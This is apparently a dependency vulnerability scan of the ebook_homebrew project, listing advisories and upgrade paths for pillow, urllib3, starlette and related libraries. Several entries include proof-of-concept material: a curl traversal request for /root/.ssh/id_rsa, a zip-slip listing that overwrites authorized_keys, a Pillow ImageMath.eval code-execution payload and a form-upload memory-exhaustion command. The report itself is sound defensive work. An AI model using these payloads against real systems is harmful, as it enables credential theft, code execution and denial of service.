Vulnerabilities

66 via 115 paths

Dependencies

60

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 66
  • 2
Severity
  • 2
  • 28
  • 36
  • 2
Status
  • 68
  • 0
  • 0

critical severity

Heap-based Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@10.0.1.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow when the ReadHuffmanCodes() function is used. An attacker can craft a special WebP lossless file that triggers the ReadHuffmanCodes() function to allocate the HuffmanCode buffer with a size that comes from an array of precomputed sizes: kTableSize. The color_cache_bits value defines which size to use. The kTableSize array only takes into account sizes for 8-bit first-level table lookups but not second-level table lookups. libwebp allows codes that are up to 15-bit (MAX_ALLOWED_CODE_LENGTH). When BuildHuffmanTable() attempts to fill the second-level tables it may write data out-of-bounds. The OOB write to the undersized array happens in ReplicateValue.

Notes:

This is only exploitable if the color_cache_bits value defines which size to use.

This vulnerability was also published on libwebp CVE-2023-5129

Changelog:

2023-09-12: Initial advisory publication

2023-09-27: Advisory details updated, including CVSS, references

2023-09-27: CVE-2023-5129 rejected as a duplicate of CVE-2023-4863

2023-09-28: Research and addition of additional affected libraries

2024-01-28: Additional fix information

Remediation

Upgrade Pillow to version 10.0.1 or higher.

References

critical severity

HTTP Request Smuggling

  • Vulnerable module: h11
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 uvicorn@0.8.6 h11@0.8.1
    Remediation: Upgrade to responder@2.0.7.

Overview

h11 is an A pure-Python, bring-your-own-I/O implementation of HTTP/1.1

Affected versions of this package are vulnerable to HTTP Request Smuggling via the class ChunkedReader in _readers.py file, which performs the parsing of line terminators in chunked-coding message bodies. An attacker can exploit this to bypass security controls and smuggle HTTP requests by crafting malformed chunked-encoding bodies.

Remediation

Upgrade h11 to version 0.16.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: urllib3
  • Introduced through: responder@1.3.2, sphinx@2.3.1 and others

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to responder@3.1.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 apistar@0.7.2 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to responder@3.0.0.dev0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests-toolbelt@1.0.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: responder@1.3.2, sphinx@2.3.1 and others

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to responder@3.1.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 apistar@0.7.2 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to responder@3.0.0.dev0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests-toolbelt@1.0.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: responder@1.3.2, sphinx@2.3.1 and others

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to responder@3.1.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 apistar@0.7.2 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to responder@3.0.0.dev0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests-toolbelt@1.0.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

high severity
new

Out-of-bounds Write

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@12.3.0.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Write in the ImageFilter.RankFilter process when a very large odd filter size is provided, leading to unchecked signed integer arithmetic in ImagingExpand. An attacker can cause a heap out-of-bounds write by supplying crafted input to the filter size parameter.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: starlette
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 starlette@0.12.13
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in the StaticFiles file on Windows systems when handling UNC paths. An attacker can obtain NTLMv2 credentials of the service account by sending a specially crafted request that causes the server to initiate an outbound SMB connection to an attacker-controlled host, resulting in credential disclosure.

Note: This is only exploitable if the application is running on Windows and serving static files using the default configuration (follow_symlink=False).

Workaround

This vulnerability can be mitigated by serving static files through a dedicated web server (such as nginx or IIS) or by blocking outbound SMB (port 445) from the application host.

Remediation

Upgrade starlette to version 1.1.0 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@12.3.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the decode function of PdfStream in PdfParser, where zlib decompression is performed without limiting the output size. An attacker can cause excessive memory consumption by submitting a specially crafted PDF file with a maliciously large Length field.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

high severity

Memory Allocation with Excessive Size Value

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@12.3.0.

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via the PcfFontFile._load_bitmaps process. An attacker can cause excessive memory allocation by supplying crafted PCF font data that bypasses decompression bomb checks.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

high severity

Memory Allocation with Excessive Size Value

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@12.3.0.

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the FontFile.compile process. An attacker can cause excessive memory allocation by providing a specially crafted font file that triggers uncontrolled resource consumption during image conversion or saving.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

high severity

Memory Allocation with Excessive Size Value

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@12.3.0.

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the bdf_char process when attacker-controlled dimensions from a BDF font file are passed to Image.new() without invoking the _decompression_bomb_check function. An attacker can cause excessive memory allocation by supplying specially crafted font files.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

high severity

Memory Allocation with Excessive Size Value

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@12.3.0.

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the GdImageFile._open process. An attacker can cause excessive memory allocation by supplying a crafted .gd file that bypasses decompression bomb checks.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

high severity
new

Out-of-bounds Write

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@12.3.0.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Write via the apply function. An attacker can cause memory corruption and potentially crash the application by providing an output image with a mode that does not match the transform's declared output mode.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: python-multipart
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 python-multipart@0.0.8
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

python-multipart is an A streaming multipart parser for Python

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling when parsing multipart headers in MultipartParser, which can hang without failing in the following states: HEADER_FIELD_START, HEADER_FIELD, HEADER_VALUE_START, HEADER_VALUE, and HEADER_VALUE_ALMOST_DONE. An attacker can cause excessive CPU consumption and disrupt service availability by sending requests with either a very large individual header value or numerous repeated headers without terminating the header block.

Remediation

Upgrade python-multipart to version 0.0.27 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: python-multipart
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 python-multipart@0.0.8
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

python-multipart is an A streaming multipart parser for Python

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the multipart/form-data, when line breaks: CR \r or LF \n in front of the first boundary and any tailing bytes after the last boundary are skipped. An attacker can cause excessive logging and high CPU load, stalling the processing thread by sending a malicious request with lots of data.

Remediation

Upgrade python-multipart to version 0.0.18 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: python-multipart
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 python-multipart@0.0.8
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

python-multipart is an A streaming multipart parser for Python

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the QuerystringParser function when parsing application/x-www-form-urlencoded bodies containing semicolon-separated fields. An attacker can cause excessive CPU consumption by submitting specially crafted request bodies with repeated semicolon separators, leading to significant processing delays and potential exhaustion of worker processes.

Remediation

Upgrade python-multipart to version 0.0.30 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: starlette
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 starlette@0.12.13
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the request.form. An attacker can exhaust system resources and disrupt service availability by submitting a specially crafted application/x-www-form-urlencoded request containing either an excessive number of fields or a very large field value, leading to event loop blocking or unbounded memory allocation.

Remediation

Upgrade starlette to version 1.3.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: starlette
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 starlette@0.12.13
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via multipart/form-data requests, due to treating parts without a filename as text form fields and buffering those in byte strings with no size limit.

An attacker could cause Starlette to both slow down significantly due to excessive memory allocations and copy operations, and also consume more and more memory until the server starts swapping and grinds to a halt by uploading arbitrary large form fields.

Note:

This vulnerability affects all applications built with Starlette (or FastAPI) accepting form requests.

PoC

from starlette.applications import Starlette
from starlette.routing import Route

async def poc(request):
    async with request.form():
        pass

app = Starlette(routes=[
    Route('/', poc, methods=["POST"]),
])
curl http://localhost:8000 -F 'big=</dev/urandom'

Remediation

Upgrade starlette to version 0.40.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: starlette
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 starlette@0.12.13
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the FileResponse._parse_range_header method. An attacker can exhaust server CPU resources by sending a specially crafted HTTP Range header containing numerous small, non-overlapping ranges, which triggers quadratic-time processing during range parsing and merging.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade starlette to version 0.49.1 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: starlette
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 starlette@0.12.13
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Directory Traversal. Any file on the host machine can be read by passing an absolute path, formatted in a URL such as http://localhost:5000/staticmount/c%3a%5cwindows%5cwin.ini.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade starlette to version 0.13.5 or higher.

References

high severity
new

Out-of-bounds Read

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@12.3.0.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read in the TGA RLE encoder process. An attacker can access sensitive heap data and potentially cause limited denial of service by crafting a specially designed image file.

Remediation

Upgrade pillow to version 12.3.0 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: python-multipart
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 python-multipart@0.0.8
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

python-multipart is an A streaming multipart parser for Python

Affected versions of this package are vulnerable to Directory Traversal via unsinitised file names passed directly into os.path.join(file_dir, fname) function. An attacker can write files to arbitrary locations on the filesystem by uploading files containing / at the beginning of a filename.

Note:

This is only exploitable if UPLOAD_DIR is set, UPLOAD_KEEP_FILENAME=True, and the uploaded file exceeds MAX_MEMORY_FILE_SIZE (triggering a flush to disk).

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade python-multipart to version 0.0.22 or higher.

References

high severity

Use of Incorrectly-Resolved Name or Reference

  • Vulnerable module: starlette
  • Introduced through: responder@1.3.2

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 starlette@0.12.13
    Remediation: Upgrade to responder@3.0.0.dev0.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Use of Incorrectly-Resolved Name or Reference in the reconstruction of request.url when the HTTP request path does not begin with /. An attacker can mislead the application into trusting an attacker-controlled hostname by sending a specially crafted request path that manipulates the authority component of the URL.

Note: This is only exploitable if the ASGI server forwards a request-target lacking a leading / into scope["path"], and the application uses request.url, request.url.netloc, or request.url.hostname for security-sensitive decisions before routing or in 404/exception handlers.

Remediation

Upgrade starlette to version 1.3.0 or higher.

References

high severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: urllib3
  • Introduced through: responder@1.3.2, sphinx@2.3.1 and others

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to responder@3.1.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx@2.3.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 apistar@0.7.2 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to responder@3.0.0.dev0.
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew responder@1.3.2 requests-toolbelt@1.0.0 requests@2.31.0 urllib3@2.0.7
  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew sphinx-rtd-theme@0.4.3 sphinx@2.3.1 requests@2.31.0 urllib3@2.0.7
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in urlopen() when using ProxyManager.connection_from_url() with assert_same_host=False, directly rather than via the high-level APIs including urllib3.request(), PoolManager.request(), and ProxyManager.request(). An attacker can expose headers such as Authorization, Cookie, and Proxy-Authorization by triggering cross-origin redirects, which does not properly invoke remove_headers_on_redirect.

Remediation

Upgrade urllib3 to version 2.7.0 or higher.

References

high severity

Eval Injection

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@10.2.0.

Overview

Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.

PoC

from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@10.2.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when using arbitrary strings as text input and the number of characters passed into PIL.ImageFont.ImageFont.getmask() is over a certain limit. This can lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@10.2.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) if the size of individual glyphs extends beyond the bitmap image, when using PIL.ImageFont.ImageFont function. Exploiting this vulnerability could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: tubone24/ebook_homebrew@tubone24/ebook_homebrew pillow@9.5.0
    Remediation: Upgrade to pillow@10.0.0.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') when the ImageFont truetype in an ImageDraw instance operates on a long text argument. An attacker can cause the service to crash by processing a task that uncontrollably allocates memory.

Remediation

